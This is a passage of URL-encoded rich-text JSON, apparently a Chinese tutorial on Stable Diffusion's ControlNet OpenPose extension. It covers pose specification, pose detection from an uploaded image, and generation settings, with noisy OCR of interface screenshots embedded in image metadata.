2y%22%3A625%2C%22width%22%3A11%2C%22height%22%3A13%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A30%2C%22y%22%3A688%2C%22width%22%3A144%2C%22height%22%3A12%2C%22text%22%3A%22PREPROCESSOR%20RESOLUTION%22%7D%2C%7B%22x%22%3A720%2C%22y%22%3A692%2C%22width%22%3A23%2C%22height%22%3A12%2C%22text%22%3A%22512%22%7D%5D%2C%22search%22%3A%22%E5%8D%95%E5%BC%A0%E5%9C%86%E5%83%8F%20%E6%89%B9%E6%AC%A1%20%E6%98%A0%E5%83%8F%E6%A6%B4%20REALISTIC%20EYES)%2CB%20START%20DRAWING%20FLOWERS%2C%20NEGATIV%20STEPS%3A2%20V1.2.1%2C%20FALSE%2CCO%20%E7%94%A8%E6%97%B6%3A8.0%20%E5%A6%82%E6%9E%9C%E6%82%A8%E7%9A%84%E7%BC%98%E7%A8%BF%E5%9C%86%E5%83%8F%E6%98%AF%E7%99%BD%E8%89%B2%E8%83%8C%E6%99%AF%E5%92%8C%E9%BB%91%E8%89%B2%E7%BB%BF%E6%9D%A1%2C%E8%AF%B7%E5%B0%86%E9%A2%84%E8%99%9A%E7%90%86%E5%99%A8%E6%AF%85%E7%BD%AE%E9%AB%98%5BINVERT%5D.%20%E4%BD%8EVRAM%E6%A8%A1%E5%BC%8F%20%E5%BC%80%E6%94%BE%E9%A2%84%E8%A7%88%20%E5%AE%8C%E7%BE%8E%E5%83%8F%E7%B4%A0%20%E6%95%9E%E7%94%A8%20CONTROL%20TYPE%20%E6%89%80%E6%9C%89%20DEPTH%20LINEART%20MLSD%20SOFTEDGE%20NORMAL%20CANNY%20OPENPOSE%20%E5%B1%80%E9%83%A8%E9%87%8D%E7%BB%99%20SCRIBBLE%20SHUFFLE%20TILE%20IP2P%20T2IA%20SEG%20REFERENCE%20%E9%A2%84%E8%99%91%E7%90%86%E5%99%A8%20%E6%A8%A1%E5%9E%8B%20CONTROL%20VLLP%20SD15%20OPENPOSE%20FP16%5B73C2BE%20OPENPOSE%20END%20%E5%BC%80%E5%A7%8B%E6%8E%A7%E5%88%B6%E6%AD%A5%E6%95%B0(%25)%20%E5%81%9C%E6%AD%A2%E6%8E%A7%E5%88%B6%E6%AD%A5%E6%95%B0(%25)%20%E6%8E%A7%E5%88%B6%E6%A7%BF%E9%87%8D%201%20PREPROCESSOR%20RESOLUTION%20512%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23111724%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf286afaa%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4506365e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E6%A0%B7%E5%B0%B1%E5%8F%AF%E4%BB%A5%E8%B7%91%E5%87%BA%E6%9D%A5%E4%B8%80%E5%BC%A0%E6%8C%87%E5%AE%9A%E9%AA%A8%E9%AA%BC%E6%A0%B7%E5%AD%90%E7%9A%84%E5%9B%BE%E7%89%87%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud0359704%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u57cd40a3%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685692780480-bda8fbbb-bdd6-4589-9b18-bf2271f1c3d5.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1587%2C%22height%22%3A799%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A313967%2C%22width%22%3A1442.7272414570018%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ue93e13da-3a9a-468a-8c37-8f9da2b1880%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A2%2C%22y%22%3A40%2C%22width%22%3A33%2C%22height%22%3A15%2C%22text%22%3A%22%E6%96%B9%E6%B3%95%22%7D%2C%7B%22x%22%3A380%2C%22y%22%3A41%2C%22width%22%3A60%2C%22height%22%3A14%2C%22text%22%3A%22%E5%8F%96%E6%A0%B7%E6%AD%A5%E9%AA%A4%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A72%2C%22width%22%3A35%2C%22height%22%3A13%2C%22text%22%3A%22ULERA%22%7D%2C%7B%22x%22%3A215%2C%22y%22%3A114%2C%22width%22%3A160%2C%22height%22%3A17%2C%22text%22%3A%22%E9%AB%98%E8%A7%A3%E6%9E%90%E5%BA%A6%E4%BF%AE%E6%AD%A3(HIRES%2CFIX)%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A114%2C%22width%22%3A58%2C%22height%22%3A17%2C%22text%22%3A%22%E9%9D%A2%E9%83%A8%E4%BF%AE%E5%A4%8D%22%7D%2C%7B%22x%22%3A118%2C%22y%22%3A115%2C%22width%22%3A42%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8F%AF%E5%B9%B3%E9%93%BA%22%7D%2C%7B%22x%22%3A592%2C%22y%22%3A146%2C%22width%22%3A56%2C%22height%22%3A14%2C%22text%22%3A%22%E5%BA%A7%E7%94%9F%E6%89%B9%E6%AC%A1%22%7D%2C%7B%22x%22%3A463%2C%22y%22%3A150%2C%22width%22%3A23%2C%22height%22%3A12%2C%22text%22%3A%22512%22%7D%2C%7B%22x%22%3A550%2C%22y%22%3A188%2C%22width%22%3A18%2C%22height%22%3A16%2C%22text%22%3A%2211%22%7D%2C%7B%22x%22%3A591%2C%22y%22%3A200%2C%22width%22%3A57%2C%22height%22%3A15%2C%22text%22%3A%22%E6%AF%8F%E6%89%B9%E6%95%B0%E9%87%8F%22%7D%2C%7B%22x%22%3A719%2C%22y%22%3A204%2C%22width%22%3A23%2C%22height%22%3A16%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A462%2C%22y%22%3A205%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22904%22%7D%2C%7B%22x%22%3A74%2C%22y%22%3A254%2C%22width%22%3A32%2C%22height%22%3A14%2C%22text%22%3A%22(CFG)%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A254%2C%22width%22%3A63%2C%22height%22%3A15%2C%22text%22%3A%22%E5%BC%80%E7%9B%B8%E5%85%B3%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A306%2C%22width%22%3A33%2C%22height%22%3A14%2C%22text%22%3A%22%E5%A7%9C%E6%A2%97%E5%AD%90%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A386%2C%22width%22%3A125%2C%22height%22%3A16%2C%22text%22%3A%22ONTROLNETV1.1.210%22%7D%2C%7B%22x%22%3A8%2C%22y%22%3A421%2C%22width%22%3A117%2C%22height%22%3A16%2C%22text%22%3A%22CONTROLNET%20UNIT%20O%22%7D%2C%7B%22x%22%3A158%2C%22y%22%3A420%2C%22width%22%3A121%2C%22height%22%3A16%2C%22text%22%3A%22CONTROLNET%20UNIT%201%22%7D%2C%7B%22x%22%3A303%2C%22y%22%3A422%2C%22width%22%3A125%2C%22height%22%3A15%2C%22text%22%3A%22CONTROLNET%20UNIT%202%22%7D%2C%7B%22x%22%3A855%2C%22y%22%3A456%2C%22width%22%3A26%2C%22height%22%3A30%2C%22text%22%3A%22%E5%B0%8F%22%7D%2C%7B%22x%22%3A119%2C%22y%22%3A461%2C%22width%22%3A36%2C%22height%22%3A17%2C%22text%22%3A%22%E6%89%B9%E6%AC%A1%22%7D%2C%7B%22x%22%3A20%2C%22y%22%3A462%2C%22width%22%3A68%2C%22height%22%3A18%2C%22text%22%3A%22%E7%BD%A9%E5%BC%A0%E5%9B%BD%E5%83%8F%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A501%2C%22width%22%3A40%2C%22height%22%3A13%2C%22text%22%3A%22%E6%98%A0%E5%83%8F%E7%A6%8F%22%7D%2C%7B%22x%22%3A1374%2C%22y%22%3A525%2C%22width%22%3A79%2C%22height%22%3A22%2C%22text%22%3A%22%3E%E5%B1%80%E9%83%A8%E9%87%8D%E7%BC%A9%22%7D%2C%7B%22x%22%3A1520%2C%22y%22%3A526%2C%22width%22%3A69%2C%22height%22%3A21%2C%22text%22%3A%22%E9%99%84%E5%8A%A0%E5%8A%9F%E8%83%BD%22%7D%2C%7B%22x%22%3A984%2C%22y%22%3A526%2C%22width%22%3A35%2C%22height%22%3A19%2C%22text%22%3A%22%E5%82%A8%E5%AD%98%22%7D%2C%7B%22x%22%3A1245%2C%22y%22%3A526%2C%22width%22%3A62%2C%22height%22%3A18%2C%22text%22%3A%22%E5%9B%BD%E7%94%9F%E5%9B%BD%22%7D%2C%7B%22x%22%3A1126%2C%22y%22%3A529%2C%22width%22%3A25%2C%22height%22%3A15%2C%22text%22%3A%22ZIP%22%7D%2C%7B%22x%22%3A805%2C%22y%22%3A576%2C%22width%22%3A772%2C%22height%22%3A15%2C%22text%22%3A%22REALISTIC%20SMAL%20BREAST%20WONANIN%20IN%20ALEANFLS%20STTING%20AROUND%20THE%20PEOPLE%20PEOPLE%20RARDEN%20IPERFECT%20FOEAUTIFUL%20%22%7D%2C%7B%22x%22%3A336%2C%22y%22%3A606%2C%22width%22%3A86%2C%22height%22%3A16%2C%22text%22%3A%22START%20DRAWING%22%7D%2C%7B%22x%22%3A802%2C%22y%22%3A623%2C%22width%22%3A495%2C%22height%22%3A15%2C%22text%22%3A%22FLOWERS%2C(HIGHLY%20DETAILED)1.5%2CDIGITAL%20PAINTING%2CA%20PHOTOREALISTIC%20PAINTING%2CPHOTOREALISM%22%7D%2C%7B%22x%22%3A804%2C%22y%22%3A644%2C%22width%22%3A594%2C%22height%22%3A17%2C%22text%22%3A%22NEGATIVE%20PROMPT%3A(WORST%20QUALITY%2CLOW%20QUALITY.1%204)%2CMONOCHROME%2CMUSCLE%2CZOMBIE%2C(INTERLOCKED%20FINGERS)%2C%22%7D%2C%7B%22x%22%3A803%2C%22y%22%3A667%2C%22width%22%3A778%2C%22height%22%3A18%2C%22text%22%3A%22STEPS%3B35%2CSAMPLER%2C%20%20%20%20%20%20%20CRG%20CRG%20CRG%20CIPRUNED%3AZ%2C%20%20VERSION%3B%22%7D%2C%7B%22x%22%3A804%2C%22y%22%3A690%2C%22width%22%3A787%2C%22height%22%3A16%2C%22text%22%3A%22V121%2CCONTROLNET%20CONEPROCESSOR%20%20NONE%2C%20NODET%20%20%20%20%20%20%20%20%20%20%20%20NODENPOSE%20FP15%20%20(O%2C%20WEIGHT%201%2C%20WEIGHT%20%20%20(O%2C%20(O%2CI%22%7D%2C%7B%22x%22%3A804%2C%22y%22%3A711%2C%22width%22%3A609%2C%22height%22%3A17%2C%22text%22%3A%22MODE%3ACROP%20AND%20RESIZE%2CPIXEL%20PERFECT%3AFALSE%2CCONTROL%20MODE%3A%20BALANCED%2CPREPROCESSOR%20PARAMS%3A(512%2C64)%5C%22%22%7D%2C%7B%22x%22%3A802%2C%22y%22%3A737%2C%22width%22%3A441%2C%22height%22%3A18%2C%22text%22%3A%22%E7%94%A8%E6%97%B6%3A44.34STORCH%20ACTIVE%2FRESERVED%3A4523%2F6900%20MIB.SYS%20VRAM%3A7065%2F15102%20MIB(46.78%25)%22%7D%2C%7B%22x%22%3A4%2C%22y%22%3A765%2C%22width%22%3A453%2C%22height%22%3A15%2C%22text%22%3A%22%E5%A6%82%E6%9E%9C%E6%82%A8%E7%9A%84%E7%BC%98%E7%A8%BF%E9%98%85%E5%83%8F%E6%98%AF%E7%99%BD%E8%89%B2%E8%83%8C%E6%99%AF%E5%92%8C%E9%BB%91%E8%89%B2%E7%BC%98%E4%BF%AE%2C%E8%AF%B7%E5%B0%86%E5%BE%88%E8%99%91%E7%90%86%E5%99%A8%E8%AE%BE%E7%BD%AE%E4%B8%BA%5BINVERT%5D.%22%7D%5D%2C%22search%22%3A%22%E6%96%B9%E6%B3%95%20%E5%8F%96%E6%A0%B7%E6%AD%A5%E9%AA%A4%20ULERA%20%E9%AB%98%E8%A7%A3%E6%9E%90%E5%BA%A6%E4%BF%AE%E6%AD%A3(HIRES%2CFIX)%20%E9%9D%A2%E9%83%A8%E4%BF%AE%E5%A4%8D%20%E5%8F%AF%E5%B9%B3%E9%93%BA%20%E5%BA%A7%E7%94%9F%E6%89%B9%E6%AC%A1%20512%2011%20%E6%AF%8F%E6%89%B9%E6%95%B0%E9%87%8F%201%20904%20(CFG)%20%E5%BC%80%E7%9B%B8%E5%85%B3%20%E5%A7%9C%E6%A2%97%E5%AD%90%20ONTROLNETV1.1.210%20CONTROLNET%20UNIT%20O%20CONTROLNET%20UNIT%201%20CONTROLNET%20UNIT%202%20%E5%B0%8F%20%E6%89%B9%E6%AC%A1%20%E7%BD%A9%E5%BC%A0%E5%9B%BD%E5%83%8F%20%E6%98%A0%E5%83%8F%E7%A6%8F%20%3E%E5%B1%80%E9%83%A8%E9%87%8D%E7%BC%A9%20%E9%99%84%E5%8A%A0%E5%8A%9F%E8%83%BD%20%E5%82%A8%E5%AD%98%20%E5%9B%BD%E7%94%9F%E5%9B%BD%20ZIP%20REALISTIC%20SMAL%20BREAST%20WONANIN%20IN%20ALEANFLS%20STTING%20AROUND%20THE%20PEOPLE%20PEOPLE%20RARDEN%20IPERFECT%20FOEAUTIFUL%20%20START%20DRAWING%20FLOWERS%2C(HIGHLY%20DETAILED)1.5%2CDIGITAL%20PAINTING%2CA%20PHOTOREALISTIC%20PAINTING%2CPHOTOREALISM%20NEGATIVE%20PROMPT%3A(WORST%20QUALITY%2CLOW%20QUALITY.1%204)%2CMONOCHROME%2CMUSCLE%2CZOMBIE%2C(INTERLOCKED%20FINGERS)%2C%20STEPS%3B35%2CSAMPLER%2C%20%20%20%20%20%20%20CRG%20CRG%20CRG%20CIPRUNED%3AZ%2C%20%20VERSION%3B%20V121%2CCONTROLNET%20CONEPROCESSOR%20%20NONE%2C%20NODET%20%20%20%20%20%20%20%20%20%20%20%20NODENPOSE%20FP15%20%20(O%2C%20WEIGHT%201%2C%20WEIGHT%20%20%20(O%2C%20(O%2CI%20MODE%3ACROP%20AND%20RESIZE%2CPIXEL%20PERFECT%3AFALSE%2CCONTROL%20MODE%3A%20BALANCED%2CPREPROCESSOR%20PARAMS%3A(512%2C64)%5C%22%20%E7%94%A8%E6%97%B6%3A44.34STORCH%20ACTIVE%2FRESERVED%3A4523%2F6900%20MIB.SYS%20VRAM%3A7065%2F15102%20MIB(46.78%25)%20%E5%A6%82%E6%9E%9C%E6%82%A8%E7%9A%84%E7%BC%98%E7%A8%BF%E9%98%85%E5%83%8F%E6%98%AF%E7%99%BD%E8%89%B2%E8%83%8C%E6%99%AF%E5%92%8C%E9%BB%91%E8%89%B2%E7%BC%98%E4%BF%AE%2C%E8%AF%B7%E5%B0%86%E5%BE%88%E8%99%91%E7%90%86%E5%99%A8%E8%AE%BE%E7%BD%AE%E4%B8%BA%5BINVERT%5D.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23151b26%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc306318c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u21e82dd4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%99%A4%E4%BA%86%E6%8C%87%E5%AE%9A%E9%AA%A8%E9%AA%BC%E4%BB%A5%E5%A4%96%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub1177a35%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%BD%A0%E8%BF%98%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E4%B8%8A%E4%BC%A0%E5%9B%BE%E7%89%87%E6%9D%A5%E8%A7%A3%E6%9E%84%E5%9B%BE%E7%89%87%E6%9C%AC%E8%BA%AB%E7%9A%84%E9%AA%A8%E9%AA%BC%EF%BC%8C%E7%84%B6%E5%90%8E%E5%86%8D%E7%94%A8%E6%9D%A5%E6%8C%87%E5%AE%9A%E5%92%8C%E7%94%9F%E6%88%90%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5261ca59%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E8%BF%99%E4%B8%AAOpenpose%E5%9C%A8%E7%94%9F%E6%88%90%E4%BA%BA%E7%89%A9%E5%9B%BE%E7%89%87%E7%9A%84%E4%BC%98%E5%85%88%E7%BA%A7%E4%BB%A5%E5%8F%8A%E6%95%88%E6%9E%9C%E8%BF%9C%E6%AF%94%E5%9B%BE%E7%94%9F%E5%9B%BE%E6%95%88%E6%9E%9C%E8%A6%81%E5%A5%BD%EF%BC%8C%E5%B0%A4%E5%85%B6%E6%98%AF%E5%8F%AF%E4%BB%A5%E5%BE%88%E5%A4%A7%E7%A8%8B%E5%BA%A6%E8%BF%98%E5%8E%9F%E5%9B%BE%E7%89%87%E6%9C%AC%E8%BA%AB%E7%9A%84%E6%A0%B7%E5%BC%8F%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8e3d5cf0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5502b32c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8OpenPose%E7%BC%96%E8%BE%91%E5%99%A8%E4%B8%AD%E4%BD%BF%E7%94%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufdd7c883%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Detect%20from%20image%E8%8E%B7%E5%8F%96%E5%9B%BE%E7%89%87%E4%B8%AD%E7%9A%84%E4%BA%BA%E7%89%A9%E9%AA%A8%E9%AA%BC%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf5d307f7%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u45637e02%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685695558968-db060052-23b0-4846-ba5a-294be5489418.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1628%2C%22height%22%3A1109%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A995535%2C%22width%22%3A650.178955078125%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u0da9efd4-a51e-445c-9149-c2218b2ee72%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A592%2C%22y%22%3A20%2C%22width%22%3A114%2C%22height%22%3A17%2C%22text%22%3A%22OPENPOSE%20EDITOR%22%7D%2C%7B%22x%22%3A264%2C%22y%22%3A20%2C%22width%22%3A64%2C%22height%22%3A16%2C%22text%22%3A%22PNG%20INFO%22%7D%2C%7B%22x%22%3A524%2C%22y%22%3A21%2C%22width%22%3A33%2C%22height%22%3A16%2C%22text%22%3A%22TRAIN%22%7D%2C%7B%22x%22%3A93%2C%22y%22%3A21%2C%22width%22%3A64%2C%22height%22%3A17%2C%22text%22%3A%22IMG2IMG%22%7D%2C%7B%22x%22%3A360%2C%22y%22%3A21%2C%22width%22%3A129%2C%22height%22%3A16%2C%22text%22%3A%22CHECKPOINT%20MERGER%22%7D%2C%7B%22x%22%3A831%2C%22y%22%3A21%2C%22width%22%3A73%2C%22height%22%3A15%2C%22text%22%3A%22EXTENSIONS%22%7D%2C%7B%22x%22%3A191%2C%22y%22%3A22%2C%22width%22%3A42%2C%22height%22%3A15%2C%22text%22%3A%22EXTRAS%22%7D%2C%7B%22x%22%3A8%2C%22y%22%3A22%2C%22width%22%3A54%2C%22height%22%3A14%2C%22text%22%3A%22TXT2IMG%22%7D%2C%7B%22x%22%3A741%2C%22y%22%3A23%2C%22width%22%3A55%2C%22height%22%3A15%2C%22text%22%3A%22SETTINGS%22%7D%2C%7B%22x%22%3A750%2C%22y%22%3A53%2C%22width%22%3A30%2C%22height%22%3A14%2C%22text%22%3A%222913%22%7D%2C%7B%22x%22%3A20%2C%22y%22%3A97%2C%22width%22%3A40%2C%22height%22%3A13%2C%22text%22%3A%22HEIGHT%22%7D%2C%7B%22x%22%3A753%2C%22y%22%3A104%2C%22width%22%3A27%2C%22height%22%3A13%2C%22text%22%3A%224096%22%7D%2C%7B%22x%22%3A397%2C%22y%22%3A186%2C%22width%22%3A31%2C%22height%22%3A15%2C%22text%22%3A%22ADD%22%7D%2C%7B%22x%22%3A452%2C%22y%22%3A243%2C%22width%22%3A131%2C%22height%22%3A15%2C%22text%22%3A%22DETECT%20FROM%20LMAGE%22%7D%2C%7B%22x%22%3A252%2C%22y%22%3A243%2C%22width%22%3A115%2C%22height%22%3A16%2C%22text%22%3A%22LOAD%20FROM%20JSON%22%7D%2C%7B%22x%22%3A78%2C%22y%22%3A244%2C%22width%22%3A41%2C%22height%22%3A13%2C%22text%22%3A%22RESET%22%7D%2C%7B%22x%22%3A646%2C%22y%22%3A244%2C%22width%22%3A163%2C%22height%22%3A15%2C%22text%22%3A%22ADD%20BACKGROUND%20LMAGE%22%7D%2C%7B%22x%22%3A21%2C%22y%22%3A280%2C%22width%22%3A46%2C%22height%22%3A14%2C%22text%22%3A%22PRESETS%22%7D%2C%7B%22x%22%3A649%2C%22y%22%3A309%2C%22width%22%3A86%2C%22height%22%3A17%2C%22text%22%3A%22SAVE%20PRESET%22%7D%2C%7B%22x%22%3A366%2C%22y%22%3A309%2C%22width%22%3A86%2C%22height%22%3A16%2C%22text%22%3A%22LOAD%20PRESET%22%7D%2C%7B%22x%22%3A965%2C%22y%22%3A764%2C%22width%22%3A212%2C%22height%22%3A50%2C%22text%22%3A%22AFTEB%22%7D%2C%7B%22x%22%3A1505%2C%22y%22%3A1066%2C%22width%22%3A119%2C%22height%22%3A20%2C%22text%22%3A%22SEND%20TO%20IMG2IMG%22%7D%2C%7B%22x%22%3A1300%2C%22y%22%3A1067%2C%22width%22%3A112%2C%22height%22%3A17%2C%22text%22%3A%22SEND%20TO%20TXT2IMG%22%7D%2C%7B%22x%22%3A897%2C%22y%22%3A1067%2C%22width%22%3A79%2C%22height%22%3A15%2C%22text%22%3A%22SAVE%20JSON%22%7D%2C%7B%22x%22%3A1112%2C%22y%22%3A1068%2C%22width%22%3A68%2C%22height%22%3A14%2C%22text%22%3A%22SAVE%20PNG%22%7D%5D%2C%22search%22%3A%22OPENPOSE%20EDITOR%20PNG%20INFO%20TRAIN%20IMG2IMG%20CHECKPOINT%20MERGER%20EXTENSIONS%20EXTRAS%20TXT2IMG%20SETTINGS%202913%20HEIGHT%204096%20ADD%20DETECT%20FROM%20LMAGE%20LOAD%20FROM%20JSON%20RESET%20ADD%20BACKGROUND%20LMAGE%20PRESETS%20SAVE%20PRESET%20LOAD%20PRESET%20AFTEB%20SEND%20TO%20IMG2IMG%20SEND%20TO%20TXT2IMG%20SAVE%20JSON%20SAVE%20PNG%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23798458%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub721cb38%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u554c2094%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%84%B6%E5%90%8E%E5%8F%91%E9%80%81%E5%88%B0%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uacee0c14%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%96%87%E7%94%9F%E5%9B%BE%E6%88%96%E8%80%85%E5%9B%BE%E7%94%9F%E5%9B%BE%E9%87%8C%E4%BC%A0%E5%85%A5%E5%85%B3%E9%94%AE%E5%AD%97%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6d466f14%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E3%80%82%E7%AD%89%E5%BE%85%E4%B8%80%E4%BC%9A%E5%84%BF%E5%B0%B1%E4%BC%9A%E7%94%9F%E6%88%90%E5%AF%B9%E5%BA%94%E7%9A%84%E5%9B%BE%E4%BA%86%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc8911cc3%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u9b46d35a%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685696276742-a9fcff34-b82d-4d49-b673-e8abd96a1ec7.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1430%2C%22height%22%3A752%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A255791%2C%22width%22%3A1299.9999718232596%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u153161f0-d992-4838-bea6-f816ab37b0d%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A282%2C%22y%22%3A25%2C%22width%22%3A59%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8F%96%E6%A0%B7%E6%AD%A5%E9%AA%A4%22%7D%2C%7B%22x%22%3A623%2C%22y%22%3A28%2C%22width%22%3A17%2C%22height%22%3A16%2C%22text%22%3A%2234%22%7D%2C%7B%22x%22%3A115%2C%22y%22%3A99%2C%22width%22%3A94%2C%22height%22%3A17%2C%22text%22%3A%22%E9%AB%98%E8%A7%A3%E6%9E%90%E5%BA%A6%E4%BF%AE%E6%AD%A3%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A100%2C%22width%22%3A42%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8F%AF%E5%B9%B3%E9%93%BA%22%7D%2C%7B%22x%22%3A197%2C%22y%22%3A101%2C%22width%22%3A78%2C%22height%22%3A15%2C%22text%22%3A%22E(HIRES%2C%20FIX)%22%7D%2C%7B%22x%22%3A491%2C%22y%22%3A130%2C%22width%22%3A58%2C%22height%22%3A16%2C%22text%22%3A%22%E4%BA%A7%E7%94%9F%E6%89%B9%E6%AC%A1%22%7D%2C%7B%22x%22%3A622%2C%22y%22%3A134%2C%22width%22%3A15%2C%22height%22%3A14%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A364%2C%22y%22%3A134%2C%22width%22%3A21%2C%22height%22%3A13%2C%22text%22%3A%22512%22%7D%2C%7B%22x%22%3A450%2C%22y%22%3A172%2C%22width%22%3A18%2C%22height%22%3A18%2C%22text%22%3A%2211%22%7D%2C%7B%22x%22%3A492%2C%22y%22%3A186%2C%22width%22%3A57%2C%22height%22%3A15%2C%22text%22%3A%22%E6%AF%8F%E6%89%B9%E6%95%B0%E9%87%8F%22%7D%2C%7B%22x%22%3A623%2C%22y%22%3A188%2C%22width%22%3A14%2C%22height%22%3A15%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A364%2C%22y%22%3A191%2C%22width%22%3A22%2C%22height%22%3A12%2C%22text%22%3A%22808%22%7D%2C%7B%22x%22%3A624%2C%22y%22%3A241%2C%22width%22%3A14%2C%22height%22%3A14%2C%22text%22%3A%227%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A369%2C%22width%22%3A25%2C%22height%22%3A16%2C%22text%22%3A%22210%22%7D%2C%7B%22x%22%3A208%2C%22y%22%3A406%2C%22width%22%3A121%2C%22height%22%3A17%2C%22text